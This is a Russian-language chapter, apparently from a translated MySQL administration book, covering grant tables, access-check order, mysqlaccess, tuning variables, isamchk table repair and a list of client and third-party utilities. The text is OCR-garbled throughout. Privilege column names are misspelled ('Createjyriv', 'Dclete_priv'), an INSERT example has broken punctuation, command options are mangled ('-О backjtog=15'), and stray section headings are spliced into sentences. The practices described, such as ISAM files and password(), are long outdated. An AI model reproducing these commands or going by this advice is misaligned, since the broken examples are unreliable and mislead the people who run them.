    Возможность выполнять команды INSERT.

    Update_priv

    Возможность выполнять команды UPDATE.

    Delete_priv

    Возможность выполнять команды DELETE.

    Createjyriv

    Возможность выполнять команды CREATE или создавать базы данных.


    Drop_priv

    Возможность выполнять команды DROP для удаления баз данных.

    Reload_priv

    Возможность перезагружать информацию о доступе с помощью mysqladmin reload.

    Shutdown_priv

    Возможность останавливать сервер через mysqladmin shutdown.

    Process_priv

    Возможность управлять процессами сервера.

    File_priv

    Возможность читать и записывать файлы с помощью команд типа SELECT INTO OUTFILE и LOAD DATA INFILE.

    Grant_priv

    Возможность давать привилегии другим пользователям.

    Index_priv

    Возможность создавать и уничтожать индексы.

    Alter_priv

    Возможность выполнять команду ALTER TABLE.

    В MySQL есть специальная функция, позволяющая скрыть пароли от любопытных глаз. Функция password() зашифровывает пароль. Ниже показано, как использовать функцию password() в процессе добавления пользователей в систему.

    INSERT INTO user (Host, User, Password, Select_priv,

    Insert_priv, Update_priv, Dclete_priv)

    VALUES ('%', 'bob', password('mypass'), 'Y', 'Y', 'Y'.'Y')

    INSERT INTO user (Host, User, Password, Select_priv)

    VALUES ('athens.imaginary.com', 'jane', '', 'Y')

    INSERT INTO user (Host, User, Password)

    VALUES ('%', 'nobody', ")

    INSERT INTO user (Host, User, Password, Select_pnv,

    Insert_priv, Updatejriv, Delete_priv)

    VALUES ('athens.imaginary.com', 'nobody',

    password('thispass'), 'Y', 'Y', 'Y', 'Y')

    Администрирование базы данныхИмена пользователей MySQL обычно не связаны с именами пользователей операционной системы. По умолчанию кли-ентские средства MySQL используют при регистрации имена пользователей операционной системы. Для них, однако, не требуется обязательного соответствия. В большинстве клиентских приложений MySQL можно с помощью параметра -и подключиться к MySQL, используя любое имя. Точно так же ваше имя как пользователя операционной системы не появится в таблице user, если не будет специально включено в нее с присвоением прав.

    Первый созданный нами пользователь, "bob", может подключаться к базе данных с любого компьютера и выполнять команды SELECT, INSERT, UPDATE и DELETE. Второй пользователь, "jane", может подключаться с "athens.imaginary.com", не имеет пароля и может выполнять только SELECT. Третий пользователь - "nobody" - с любой машины.'Этот пользователь вообще ничего не может делать. Последний пользователь -"nobody" - с машины "athens.imaginary.com", он может выполнять SELECT, INSERT, UPDATE и DELETE, как и пользователь "bob."


    Как MySQL производит сопоставление? Возможно, вы обратили внимание, что некоторое имя может соответствовать на деле нескольким записям. Например, "nobody@athens.imaginary.com" соответствует и "nobody@%", и "nobody@athens.imaginary.com". Прежде чем осуществлять поиск в таблице user, MySQL сортирует данные следующим образом:

  • Сначала ищется соответствие для узлов, не содержащих масок " % ", при этом пустое поле Host трактуется как "% ".

  • Для одного и того же узла сначала проверяется соответствие имен, не содержащих масок. Пустое поле User трактуется как содержащее "%".

  • Первое найденное соответствие считается окончательным.

    В предыдущем примере пользователь сначала будет сравниваться с "nobody" из "athens.imagmary.com", поскольку "athens.imaginary.com" в порядке сортировки стоит выше "% ". Поскольку имена компьютеров сортируются раньше имен пользователей, значения привилегий для компьютера, с которого вы подключаетесь, имеют приоритет перед любыми конкретными правами, которые у вас могут быть. Например, если таблица user содержит записи:



    Host



    User



    %

    athens .imaginary .com



    jane

    и jane подключается с "athens.imaginary.com", то MySQL будет использовать привилегии, данные "athens.imaginary.com".

    Таблица db

    Вы могли обратить внимание, что в таблице user не упоминаются конкретные базы данных и таблицы. Таблица user управляет сервером в целом. Однако на сервере обычно находится несколько баз данных, которые служат различным целям и, соответственно, обслуживают разные группы пользователей. Права доступа к отдельным базам данных хранятся в таблице db. Эта таблица имеет структуру, представленную в таблице 4-2:

    Таблица 4-2. Таблица db



    Поле



    Тип



    Null



    Ключ



    Значение по умолчанию



    Примеч.



    Host



    char(60)







    PRI











    Db



    char(32)







    PRI











    User



    char(16)







    PRI











    Select priv



    enum('N','Y')











    N







    Insert_priv



    enum('N','Y')











    N







    Update_priv



    enum('N','Y')











    N







    Delete priv



    enum('N','Y')











    N







    Create_priv



    enum('N','Y')











    N







    Drop_priv



    enum('N','Y')











    N







    Referen-



    enum('N','Y')











    N







    ces_priv























    Index_priv



    enum('N','Y')











    N







    Alter_priv



    enum('N','Y')











    N





    <


    Эта таблица во многом похожа на таблицу user. Основное отличие в том, что вместо колонки Password имеется колонка Db. Таблица управляет правами пользователей в отношении определенных баз данных. Поскольку привилегии, указанные в таблице user, относятся ко всему серверу в целом, права, присвоенные пользователю в таблице user, перекрывают права, присвоенные тому же пользователю в таблице db. Например, если пользователю в таблице user разрешают доступ типа INSERT, это право действует в отношении всех баз данных, вне зависимости от того, что указано в таблице db.

    Наиболее эффективно создание в таблице user записей для всех пользователей, в которых не даны никакие права. В этом случае пользователь может лишь подключиться к серверу, не выполняя никаких действий. Исключение делается только для пользователя, назначенного администратором сервера. Все остальные должны получить права доступа через таблицу db. Каждый пользователь должен присутствовать в таблице user, иначе он не сможет подключаться к базам данных.

    Те же правила, которые действуют в отношении колонок User и Host в таблице user, действуют и в таблице db, но с некоторой особенностью. Пустое поле Host вынуждает MySQL найти запись, соответствующую имени узла пользователя, в таблице host. Если такой записи не найдено, MySQL отказывает в доступе. Если соответствие найдено, MySQL определяет права как пересечение прав, определяемых таблицами host и db. Иными словами, в обеих записях разрешение должно иметь значение "Y", иначе в доступе отказывается.

    Таблица host

    Таблица host служит особой цели. Ее структура показана в таблице 4-3:

    Таблица 4-3. Таблица Host



    Поле



    Тип



    Null



    Ключ



    Значение по умолчанию



    Примеч.



    Host



    char(60)







    PRI











    Db



    char(32)







    PRI











    Select_priv



    enum('N','Y')











    N







    Insert_priv



    enum('N','Y')











    N







    Update_priv



    enum('N','Y')











    N







    Delete_priv



    enum('N','Y')











    N







    Create_priv



    enum('N','Y')











    N







    Drop_priv



    enum('N','Y')











    N







    Grant_priv



    enum('N','Y')











    N







    Referen-



    enum('NYY')











    N







    ces_priv























    Index_priv



    enum('N','Y')











    N







    Alter_priv



    enum('N','Y')











    N





    <


    Таблица host позволяет задать основные разрешения на межкомпьютерном уровне. При проверке прав доступа MySQL ищет в таблице db соответствие имени пользователя и его машине. Если он находит запись, соответствующую имени пользователя, поле host которой пусто, MySQL обращается к таблице host и использует пересечение обоих прав для определения окончательного права доступа. Например, у вас может быть группа серверов, которые вы считаете менее защищенными, чем остальная часть сети. Вы можете запретить для них все права записи. Если "bob" заходит с одной из таких машин, и его запись в таблице db содержит пустое поле host, ему будет запрещена операция записи, даже если она разрешена ему согласно таблице db.

    Таблицы tables_priv и colums_priv

    Эти две таблицы, по сути, уточняют данные, имеющиеся в таблице db. Именно, право на всякую операцию сначала проверяется по таблице db, затем по таблице tables_priv , затем по таблице columns_priv . Операция разрешается, если одна из них дает разрешение. С помощью этих таблиц можно сузить область действия разрешений до уровня таблиц и колонок. Управлять этими таблицами можно через команды SQL GRANT и REVOKE.

    Последовательность контроля доступа

    Теперь вы знаете, какие элементы участвуют в системе защиты MySQL. Соединим их вместе и покажем, как можно ими пользоваться в реальных ситуациях. MySQL осуществляет контроль доступа в два этапа. Первый этап - подключение. Необходимо подключиться к серверу, прежде чем пытаться что-либо сделать.

    При подключении проводятся две проверки. Сначала MySQL проверяет, есть ли в таблице user запись, соответствующая имени пользователя и машины, с которой он подключается. Поиск соответствия основывается на правилах, которые мы обсудили раньше. Если соответствие не найдено, в доступе отказывается. В случае когда соответствующая запись найдена и имеет непустое поле Password , необходимо ввести правильный пароль. Неправильный пароль приводит к отклонению запроса на подключение.

    Если соединение установлено, MySQL переходит к этапу верификации запроса. При этом сделанные вами запросы сопоставляются с вашими правами. Эти права MySQL проверяет по таблицам user, db, host, tables_priv и columns__priv . Как только найдено соответствие в таблице user с положительным разрешением, команда немедленно выполняется. В противном случае MySQL продолжает поиск в следующих таблицах в указанном порядке:


  • db

  • tables_priv

  • columns_priv

    Если таблица db содержит разрешение, дальнейшая проверка прекращается и выполняется команда. Если нет, то MySQL ищет соответствие в таблице tables_priv . Если, к примеру, это команда SELECT, объединяющая две таблицы, то пользователь должен иметь разрешения для обеих этих таблиц. Если хотя бы одна из записей отказывает в доступе или отсутствует, MySQL точно таким же способом проверяет все колонки в таблице columns_priv .

    Утилита mysqlaccess

    Освоение системы защиты MySQL поначалу может показаться вам затруднительным. Несколько упрощает дело имеющаяся в MySQL утилита mysqlaccess. Эта команда является сценарием на языке Perl , который, исходя из имен машины, пользователя и базы данных, точно показывает, что данный пользователь может делать и почему. Например, команда mysqlaccess nobody isp.com mydata может вывести следующее:

    Access-rights

    for USER 'nobody', from HOST 'isp.com', to DB 'mydata'

    Администрирование базы данных

    BEWARE: Everybody can access your DB as user 'nobody'

    : from host 'isp.com' WITHOUT supplying a password. : Be very careful about it!!

    The following rules are used: db : 'isp.com','mydata','nobody','Y','Y','Y','Y','N',

    'N','N','N','N','N'

    host : 'Not processed: host-field is not empty in db-table.'

    user : '%', 'nobody', ", 'N', 'N', 'N', 'N', 'N', 'N', 'N', 'N', 'N'

    (Выводится, в частности, предупреждение о том, что база доступна любому, регистрирующемуся как "nobody" с машины "isp.com" без ввода пароля, в связи с чем нужно проявлять осторожность.)

    Как видите, даже если вы полностью разобрались с системой безопасности MySQL, утилиту mysqlacces полезно использовать для контроля системы безопасности вашего сервера.

    Изменение прав доступа

    MySQL загружает таблицы доступа при запуске сервера. Преимуществом такого подхода по сравнению с динамическим обращением к таблицам является скорость. Отрицательная сторона состоит в том, что изменения, производимые в таблицах доступа MySQL, не сразу начинают действовать. Для того чтобы сервер увидел эти изменения, необходимо выполнить команду mysqladmin reload. Если таблицы изменяются с помощью SQL-команд GRANT или REVOKE, явно перегружать таблицы не требуется.

    По каким-то причинам в некоторых дистрибутивах MySQL сценарий mysqlaccess указывает на нестандартное расположение исполняемых файлов Perl. Если при попытке выполнить mysqlaccess вы получаете сообщение "command not found", то это, скорее всего, ваш случай. Вам необходимо изменить строку 1 сценария mysqlaccess, чтобы она указывала на правильный путь к Perl, обычно /usr/local/bin/perl.



    MySQL является, возможно, самым ярким

    MySQL

    MySQL является, возможно, самым ярким программным проектом после выхода Linux. В то время как mSQL заслуживает уважения за то, что столкнула дело управления базами данных с мертвой точки, MySQL умело воспользовалась моментом. Сейчас она не больше и не меньше, как серьезный конкурент большим СУБД в области разработки баз данных малого и среднего масштаба. В самом начале MySQL просто стала заменой устаревающему ядру mSQL версии 1. Как отмечалось в Главе 1, признаки старения mSQL проявились в виде проблем со стабильностью и неспособностью удовлетворить растущие требования, которые обрушились на нее благодаря успеху. MySQL использовала основы проекта mSQL и теперь превосходит ее по набору характеристик и одновременно по производительности.



    Настройка производительности

    Разница между хорошим администратором баз данных и первоклассным администратором состоит в том, что один знает, как управлять сервером баз данных, а второй знает, как сервер живет и дышит. Решение проблем производительности часто лежит на пути глубокого понимания того, как работает MySQL, что дает возможность оптимизировать работу приложения, используя все возможности сервера.

    MySQL имеет три потенциальных "узких места" при любом подключении. Во-первых, это сетевое соединение клиента с сервером. Во-вторых, это время решения таких задач, как, скажем, построение индексов. И наконец, проблема может быть связана с дисковым вводом/выводом. MySQL предоставляет доступ к переменным, с помощью которых ее функционирование можно настроить в соответствии со средой приложения. Все эти переменные можно установить, используя параметр -О в команде mysqld. Например, переменная back_log принимает значение 15 в результате добавления к mysqld параметра -О backjtog=15. Ниже следует список полезных переменных.

    bach_log

    Количество одновременных подключений по TCP/IP в очереди. При наличии большого числа удаленных пользователей, одновременно подключающихся к вашей базе данных, может потребоваться увеличить это число. Отрицательной стороной большого значения является некоторый рост использования памяти и загрузки ЦП.

    key_buffer

    Буфер, выделяемый для хранения последних использовавшихся ключей. Если запросы выполняются слишком медленно, увеличение этого значения может оказаться благотворным. Отрицательный эффект - увеличение расхода памяти.

    max Connections

    Число одновременных соединений, разрешенное сервером баз данных. Если при активной работе пользователи иногда получают отказ в доступе, возможно, это число следует увеличить. Отрицательное последствие - увеличение загрузки сервера, то есть рост использования ЦП, расхода памяти и дискового ввода/вывода.

    table_cache

    Буфер, используемый для хранения данных, к которым происходит частое обращение. Если выделить под них память, то резко сокращается объем обращений к диску. Отрицательный эффект - существенное увеличение расхода памяти.


    Структура хранения данных в MySQL

    Для хранения каждой таблицы MySQL используется три файла. Например, средних размеров таблица mytable может выглядеть так:

    -rw-rw-- - 1 root root 1034155 Jun 3 17:08 mytable.ISD

    -rw-rw---- 1 root root 50176 Jun 3 17:08 mytable.ISM

    -rw-rw-- - 1 root root 9114 Jun 3 14:24 mytable.frm

    В файле ISD хранятся фактические данные. В файле ISM хранятся данные о ключах и прочие внутренние данные, необходимые MySQL для быстрого поиска данных в файле ISD. Файл f rm содержит структуру самой таблицы.

    Файл ISM наиболее важен для функционирования MySQL. Он настолько важен, что ему посвящена целая утилита isamchk. Запуск isamchk -d выводит сведения о таблице:

    # isamchk -d mytable

    ISAM file: mytable

    Data records: 1973 Deleted blocks: 0

    Recordlength: 343

    Record format: Packed

    table description:

    Key Start Len Index Type

    1 2 50 unique text packed stripped

    Важное поле, которое нужно отметить, это "Deleted blocks" (удаленные блоки). Если его значение слишком велико, то файл понапрасну занимает много лишнего места. К счастью, это пространство можно освободить. В результате выполнения следующей команды таблица будет просмотрена и создана заново, при этом будут в большинстве своем устранены ошибки и высвобождено свободное пространство:

    isamchk -r mytable

    Еще большего увеличения скорости можно добиться, применив к таблице команду Isamchk -а. Эта команда анализирует размещение данных в таблице. Ее следует выполнить после вставки или удаления большого числа записей.

    Восстановление поврежденных таблиц

    При авариях сервера или по другим естественным причинам таблица базы данных может оказаться поврежденной. С помощью isamchk обеспечивается несколько уровней восстановления:

    isamchk mytable

    Настройка производительностиПри запуске isamchk во время работы сервера может потребоваться выполнить mysqladmin reload, чтобы сервер "увидел" исправленную таблицу.

    Эта команда исправляет большинство обычных ошибок в таблице. Добавление параметров -г и -v приводит к выводу дополнительных сведений о том, что было нарушено. Использование нескольких -и увеличивает подробность вывода сведений.


    isamchk -rq mytable

    Эта команда осуществляет быструю проверку и при необходимости исправление только файла ISM, файл ISD при этом не проверяется.

    isamchk -e mytable

    С этим параметром производится полная проверка и исправление всего, что можно, и устранение любых повреждений. Такая проверка обычно производится значительно дольше, чем обычная. Выполнение команды прекращается в момент столкновения с первой серьезной ошибкой. Для продолжения проверки даже после нахождения серьезных повреждений передается параметр -v. Тем самым гарантируется отсутствие повреждений в результирующей таблице, но при этом может произойти потеря некоторых данных.

    Настройка производительностиПрежде чем выполнять команду, способную изменить содержимое таблицы, всегда делайте резервную копию данных. Утилита isamchk очень хороша для исправления ошибок, но иногда это означает уничтожение поврежденных данных, входящих в конфликт с остальными данными таблицы. При наличии резервной копии можно восстановить данные, уничтоженные утилитой isamchk.

    Удаление и замена ключей

    Иногда ключи замедляют скорость работы с базой данных. Если, к примеру, вы намерены ввести большой объем данных, индексирование ключей после каждой вставки может оказаться очень неэффективным. Кроме того, если ваша таблица имеет поврежденные ключи, в результате безоглядного исправления таблицы утилитой isamchk может произойти потеря данных, связанных с ключом.

    В этих случаях оказывается полезным временное удаление ключей из таблицы и воссоздание их после завершения опасной работы. Следующая команда удаляет ключи из таблицы:

    isamchk -rq -k0

    Если вы готовы снова вставить ключи, это можно сделать командой:

    isamchk -rq

    Настройка производительностиПрежде чем ввести команду isamchk с параметром -r, завершите работу сервера, иначе таблица может оказаться повреждений.

    Команда isamchk предоставляет столько возможностей, что вам, вероятно, станет сложно разобраться во всех них. Следует, однако, руководствоваться следующими соображениями:

  • Если база данных новая, почаще выполняйте isamchk, -а. В большинстве приложений баз данных основной массив данных вводится в начале существования базы. Если выполнять isamchk с параметром, указывающим на необходимость анализа данных всякий раз, когда размер базы данных удваивается, можно быть уверенным в эффективности хранения данных.


  • Раз или два в год выполняйте команду isamchk -d. Если число удаленных блоков в ваших таблицах составляет существенную часть дискового пространства, выполните isamchk -r для перестройки таблиц с высвобождением ненужного места. Если ваше приложение таково, что приходится удалять много старых данных и вводить новые, выполняйте isamchk -d каждые две недели, а если число удаленных блоков быстро растет, может понадобиться выполнять isamchk -r регулярно - раз в месяц.

  • За исключением операций удаления и замены ключей, которые нужно производить всякий раз, когда одновременно вводился несколько десятков записей, все остальные виды isamchk следует выполнять только в ответ на появившуюся в базе данных несовместность.

    Устранение неполадок

    Даже в самых совершенных программах возникают проблемы. К счастью, многие из проблем, с которыми вы можете столкнуться, уже с кем-то случались. Ниже приводится ряд часто встречавшихся проблем при администрировании MySQL.

    Изменения в таблицах доступа не действуют.

    Не забывайте выполнять команду mysqladmin reload после внесения изменений в таблицы доступа.

    При высокой загрузке MySQL отказывает в подключении.

  • Сначала уточните число соединений, допускаемых сервером. Команда mysqladmin variables покажет его значение в поле max_connec-tions. Можно увеличить это число, запустив mysqld с параметром -О max_connections=###, где ### - предел, который вы хотите установить.

  • Можно также проверить значение back_log , которое определяет размер очереди, создаваемой MySQL для входящих соединений, равное 5 по умолчанию. Версии MySQL до 3.22 позволяли увеличить это значение до 64, но в более поздних версиях его можно увеличить до 1024. Однако оно может быть ограничено до 64 вашей операционной системой.

  • Наконец, эта проблема может быть вызвана ограничением числа дескрипторов файлов. Симптомом этого является полный отказ в подключениях при запуске MySQL большого числа потоков. Unix-системы позволяют устанавливать число дескрипторов файлов разными способами, поэтому следует справиться в системной документации о том, как это сделать.


    MySQL сообщает о невозможности найти файл, который явно существует, или сообщает об ошибках во время его чтения.

    В большинстве случаев эта проблема связана с числом дескрипторов файлов, о котором говорилось выше. Однако если увеличить буфер таблиц MySQL, ему не потребуется открывать так много файлов, и вы сможете избавиться от этой проблемы. По умолчанию величина буфера таблиц равна 64. Можно увеличить его через значение переменной table_cache .

    Число потоков начинает расти, и потоки не завершаются,

    В некоторых системах с установленным NFS, а также в Linux, есть проблемы с механизмом блокировки файлов. Результатом может быть замораживание потоков. Команда mysqladmin processlist поможет выявить эту проблему. Если в поле "Command" против замороженных потоков стоит "System lock", запустите mysqld с параметром --skip_ locking.

    Проект

    Опираясь на наследство, полученное от mSQL, TcX решила, что MySQL должна быть не медленнее mSQL, обладая при этом большим набором возможностей. В то время mSQL задавала тон в производительности баз данных, так что задачу себе ТсХ поставила непростую. Особыми целями проектирования MySQL были скорость, надежность и простота использования. Чтобы достичь такой производительности, в ТсХ приняли решение сделать многопоточным внутренний механизм MySQL. Многопоточное приложение одновременно выполняет несколько задач - так, как если бы одновременно выполнялось несколько экземпляров приложения.

    Сделав MySQL многопоточной, ТсХ дала пользователям много выгод. Каждое входящее соединение обрабатывается отдельным потоком, при этом еще один всегда выполняющийся поток управляет соединениями, поэтому клиентам не приходится ждать завершения выполнения запросов других клиентов. Одновременно может выполняться любое количество запросов. Пока какой-либо поток записывает данные в таблицу, все другие запросы, требующие доступа к этой таблице, просто ждут, пока она освободится. Клиент может выполнять все допустимые операции, не обращая внимания на другие одновременные соединения. Управляющий поток предотвращает одновременную запись какими-либо двумя потоками в одну и ту же таблицу.

    Такая архитектура, конечно, более сложна, чем однопоточная архитектура mSQL. Однако выигрыш в скорости благодаря одновременному выполнению нескольких запросов значительно превосходит потери скорости, вызванные увеличением сложности.

    Другое преимущество многопоточной обработки присуще всем многопоточным приложениям. Несмотря на то что потоки совместно используют память процесса, они выполняются раздельно. Благодаря этому разделению выполнение потоков на многопроцессорных машинах может быть распределено по нескольким ЦП. На рис. 4-1 показана эта многопоточная природа сервера MySQL.

    Проект
    Рис. 4-1. Клиент-серверная архитектура MySQL

    Помимо выигрыша в производительности, полученного благодаря многопоточности, MySQL поддерживает большее подмножество SQL, чем mSQL. MySQL поддерживает более десятка типов данных, а также функции SQL. Ваше приложение может получить доступ к этим функциям через команды ANSI SQL.


    MySQL фактически расширяет ANSI SQL несколькими новыми возможностями. В их числе новые функции (ENCRYPT, WEEKDAY, IF и другие), возможность инкрементирования полей (AUTO_INCREMENT и LAST_INSERT_ID), а также возможность различать верхний и нижний регистры.

    ТсХ намеренно опустила некоторые возможности SQL, встречающиеся в больших базах данных. Наиболее заметно отсутствие транзакций и встроенных процедур. Как и Дэвид Хьюз в mSQL, ТсХ решила, что реализация этих возможностей нанесет слишком сильный удар по производительности. Однако ТсХ продолжает работу в этом направлении, но так, чтобы от потери производительности страдали только те пользователи, которым такие возможности действительно необходимы.

    С 1996 года ТсХ использует MySQL в среде, где имеется более 40 баз данных, содержащих 10 000 таблиц. Из этих 10 000 более 500 таблиц имеют, в свою очередь, более 7 миллионов записей - около 100 Гбайт данных.



    Установка MySQL

    Прежде чем использовать MySQL, ее необходимо установить. MySQL работает почти на любой известной Unix-платформе, а также под управлением Windows 9x, Windows NT и OS/2. Для Windows 9x и Windows NT требуется приобрести лицензию. Если вы хотите лишь протестировать работу этой СУБД, имеется более старая бесплатная версия.

    Дистрибутив MySQL существует как в двоичном виде, так и в виде исходного текста. Если вы не прочь внести свой вклад в проект MySQL, добавить к нему свои усовершенствования или просто не можете найти двоичного дистрибутива для своей платформы, то необходимо взять дистрибутив с исходным кодом. Большинству пользователей, впрочем, следует брать двоичный дистрибутив. Самые свежие дистрибутивы - двоичные и в виде исходных текстов - можно найти на http://www.mysql.com

    Если вы получите дистрибутив в виде исходного текста, то перед установкой нужно его скомпилировать. В любом случае следует руководствоваться инструкциями, имеющимися в дистрибутиве.



    Утилиты MySQL

    ТсХ распространяет MySQL с большим набором вспомогательных утилит, однако набор утилит, предлагаемых сторонними разработчиками, еще богаче. В этом параграфе мы постараемся дать краткий обзор этих инструментов, отложив полное описание до главы 18 "Справочник по РНР и Lite".

    Утилиты командной строки (Command Line Tools)

    isamchk

    Производит проверку файлов, содержащих данные базы. Эти файлы называются ISAM-файлами (ISAM - метод индексированного последовательного доступа). Эта утилита может устранить большую часть повреждений ISAM-файлов. Мы подробнее опишем ее ниже.

    isamlog

    Читает создаваемые MySQL журналы, относящиеся к ISAM-файлам. Эти журналы можно использовать для воссоздания таблиц или воспроизведения изменений, внесенных в таблицы в течение некоторого промежутка времени.

    mysql

    Создает прямое подключение к серверу баз данных и позволяет вводить запросы непосредственно из приглашения MySQL.

    mysqlaccess

    Модифицирует таблицы прав доступа MySQL и отображает их в

    удобном для чтения виде. Использование этой утилиты — хороший способ изучения структуры таблиц доступа MySQL.

    mysqladmin

    Осуществляет административные функции. С помощью этой утилиты можно добавлять и удалять целые базы данных, а также завершать работу сервера.

    mysqlbug

    Составляет для ТсХ отчет о возникшей в MySQL неполадке. Отчет будет также послан в почтовый список рассылки MySQL, и армия добровольцев MySQL будет исследовать проблему.

    mysqldump

    Записывает все содержимое таблицы, включая ее структуру, в файл в виде SQL-команд, которыми можно воссоздать таблицу. Выходные данные этой утилиты можно использовать для воссоздания таблицы в другой базе или на другом сервере.

    mysqlimport

    Считывает данные из файла и вводит их в таблицу базы данных. Это должен быть файл с разделителями, где разделитель может быть любого обычного вида, например, запятая или кавычки.

    mysqlshow

    Выводит на экран структуру баз данных, имеющихся на сервере, и таблицы, из которых они состоят.


    Утилиты сторонних разработчиков

    Ни один поставщик или разработчик не может самостоятельно предоставить все необходимые для программного продукта средства поддержки. Продукты с открытым исходным кодом, такие как Linux, имели столь потрясающий успех не только благодаря проделанной Линусом Торвальдсом работе по созданию ядра Linux, но и благодаря сотням, если не тысячам, программ для Linux сторонних разработчиков. MySQL также значительно выиграл от работы подобных добровольцев. Хотелось бы перечислить все имеющиеся программы, но этот перечень ежедневно меняется. Ниже мы попытались составить представление о том, что имеется в наличии. За самым свежим списком обратитесь на домашнюю страницу MySQL: http://www.mysql.com/Contrib.

    Утилиты преобразования баз данных

    access_to_mysql

    Преобразует базы данных Microsoft Access в таблицы MySQL. Включается в Access в виде функции, позволяющей сохранять таблицы в формате, позволяющем экспортировать их в MySQL.

    dbf2mysql

    Конвертирует файлы dBASE (DBF) в таблицы MySQL. Хотя dBASE утратил популярность, формат DBF установился как наиболее распространенный для передачи данных между различными приложениями баз данных. Все главные настольные приложения баз данных могут читать и писать DBF-файлы. Это приложение полезно для экспорта/импорта данных в коммерческие настольные базы данных.

    Export sql/Importsql

    Конвертирует базы данных Microsoft Access в MySQL и обратно. Эти утилиты являются функциями Access, которые можно использовать для экспорта таблиц Access в формате, пригодном для чтения MySQL. С их помощью можно также преобразовывать SQL-выход MySQL в вид, пригодный для чтения Access.

    Интерфейсы CGI

    РНР

    Создает HTML-страницы с использованием специальных тегов, распознаваемых анализатором РНР. РНР имеет интерфейсы к большинству основных баз данных, включая MySQL и mSQL. Мы более подробно расскажем о РНР в главе 12 "РНР и другие средства поддержки управления HTML со стороны баз данных".

    Mysql-webadmin

    Осуществляет веб-администрирование баз данных MySQL. Используя это средство, можно просматривать таблицы и изменять их содержимое с помощью HTML-форм.


    Mysqladm

    Осуществляет веб- администрирование баз данных MySQL. Эта CGI-программа позволяет просматривать таблицы через WWW, добавлять таблицы и изменять их содержимое.

    www-sql

    Создает HTML-страницы из таблиц баз данных MySQL. Эта программа осуществляет разбор HTML-страниц в поисках специальных тегов и использует извлеченные данные для выполнения команд SQL на сервере MySQL.

    Клиентские приложения

    Mysqlwinadmn

    Позволяет администрировать MySQL из Windows. С помощью этого средства можно выполнять функции mysqladmin из графического интерфейса.

    xmysql

    Обеспечивает полный доступ к таблицам баз данных MySQL для клиента X Window System. Поддерживает групповые вставки и удаления.

    xmysqladmin

    Позволяет осуществлять администрирование MySQL из X Window System. Это инструмент для графического интерфейса, позволяющий создавать и удалять базы данных и управлять таблицами. С его помощью можно также проверять, запущен ли сервер, перегружать таблицы доступа и управлять потоками.

    Интерфейсы программирования

    MyODBC

    Реализует ODBC API к MySQL в Windows.

    Db.py

    Обеспечивает доступ MySQL к сценариям Python. Для повышения производительности этот модуль осуществляет буферизацию извлекаемых данных. Программирование на Python для MySQL мы излагаем в главе 11, а подробное справочное руководство по Python представлено в главе 20.

    Vdb-dflts

    Реализует библиотеку Vdb для MySQL. Vdb - не зависящий от типа базы данных API для С, позволяющий единому клиенту иметь доступ к различным серверам баз данных. Клиенты Vdb могут использовать этот API для досупа к базам данных MySQL.

    Delphi-interface

    Предоставляет API доступа к MySQL для среды Delphi, выпускаемой Inprise. С помощью этого API любое приложение Delphi получает доступ к базам данных MySQL.

    dump2h

    Преобразует структуры таблиц MySQL в файлы заголовков С. Эта программа принимает обычный файл, создаваемый mysqldump и генерирует заголовочный файл С, описывающий таблицу в виде структуры (st ruct) на С.

    mm.mysql.jdbc


    Реализует стандартный API JDBC (Java Database Connectivity -доступ к базам данных из Java). В главе 14 "Java и JDBC" подробно обсуждается программирование на Java с использованием этого API, а в главе 22 "Справочник по JDBC" представлено полное справочное руководство по JDBC 2.0.

    twzJdbcForMysql

    Реализация JDBC API для Java.

    Mysqltcl

    Реализует интерфейс Tel к MySQL.

    MySQLmodule

    Реализует доступ к MySQL из Python.

    Mysql-c++

    Объектно-ориентированная оболочка MySQL С API для доступа из приложений на C++.

    MySQL++

    Обеспечивает объектно-ориентированный доступ к MySQL для приложений на C++,

    Pike-mysql

    Позволяет пользователям известного веб-сервера Roxen разрабатывать интернет-приложения с доступом к MySQL.

    Sqlscreens

    Генерирует экраны баз данных на Tcl/Tk на основе баз данных MySQL. Позволяет разработчикам строить специализированные . GUI, привязанные к таблицам MySQL.

    Squile

    Позволяет создавать сценарии на Guile для доступа к таблицам MySQL.

    Wintcl

    Поддерживает встраивание кода Tel в HTML-файлы. С помощью этого средства легко разрабатывать веб-приложения, способные осуществлять доступ к базам данных MySQL.

    Разное

    Emacs-sql-mode

    Адаптирует стандартный режим SQL для Emacs для поддержки особенностей синтаксиса SQL в MySQL. Вводит отступы, выделяет синтаксис и довершает команды, что облегчает работу с SQL.

    findres

    Отыскивает в таблицах MySQL зарезервированные слова. Эта-программа ищет в таблицах MySQL зарезервированные слова SQL, которые могут нарушить правильную работу других баз данных, поддерживающих SQL.

    Hyalog

    Сохраняет в таблице MySQL исходящие факсимильные сообщения. Эта программа отслеживает факсы, отправляемые программой HylaFax, и сохраняет их копии в базе данных MySQL.

    mod_auth_mysql

    Осуществляет аутентификацию пользователей сервера Apache. Обычно Apache осуществляет контроль доступа с помощью простых текстовых файлов, содержащих имена пользователей и зашифрованные пароли. Данный модуль позволяет управлять доступом через базу данных MySQL.


    mod_log_mysql

    Регистрирует трафик WWW, проходящий через сервер Apache, в базе данных MySQL.

    mysqlpasswd

    Обеспечивает добавление, удаление и изменение записей о пользователях, хранимых в MySQL модулем mod_auth_mysql из состава Apache.

    Mysql_watchdog

    Осуществляет контроль за MySQL с целью обеспечения его непрерывного функционирования с нормальными параметрами.

    Nsapi_auth_mysql

    Аутентифицирует пользователей на веб-сервере Netscape.

    Pam_mysql

    Предоставляет интерфейс РАМ (Pluggable Authentication Module -подключаемый модуль аутентификации) к MySQL. РАМ обеспечивает проверку пользователей для ряда служб, включая стандартную регистрацию в системе.

    Wuftpd-mysql

    Позволяет регистрировать в базе данных MySQL трафик FTP через демон WuFTP.



    Запуск MySQL

    Как правило, сервер баз данных работает постоянно. В конце концов, какой смысл иметь базу данных, если нельзя получить данные. ТсХ создавала MySQL, имея это в виду, поэтому MySQL работает под Unix как демон, и как служба — под Windows NT. В Windows 95 есть только грубый аналог, реализуемый помещением ярлыка исполняемого приложения в папку Автозагрузка (StartUp). Важной особенностью работы под Windows 95 является то, что при создании каждого потока происходит утечка примерно 200 байт оперативной памяти. Поэтому под Windows 95 не следует надолго оставлять MySQL работающей. К Windows 98 и Windows NT это не относится.

    Запуск MySQL осуществляется с помощью сценария safe_mysqld. Под Unix этот файл устанавливается по умолчанию как /usr/local/bin/ safe_mysqld. Это сценарий для командного процессора Борна, и вы можете редактировать его, чтобы изменять принятые по умолчанию параметры. Все параметры, которые вы зададите в safe_mysqld, будут переданы непосредственно демону MySQL.

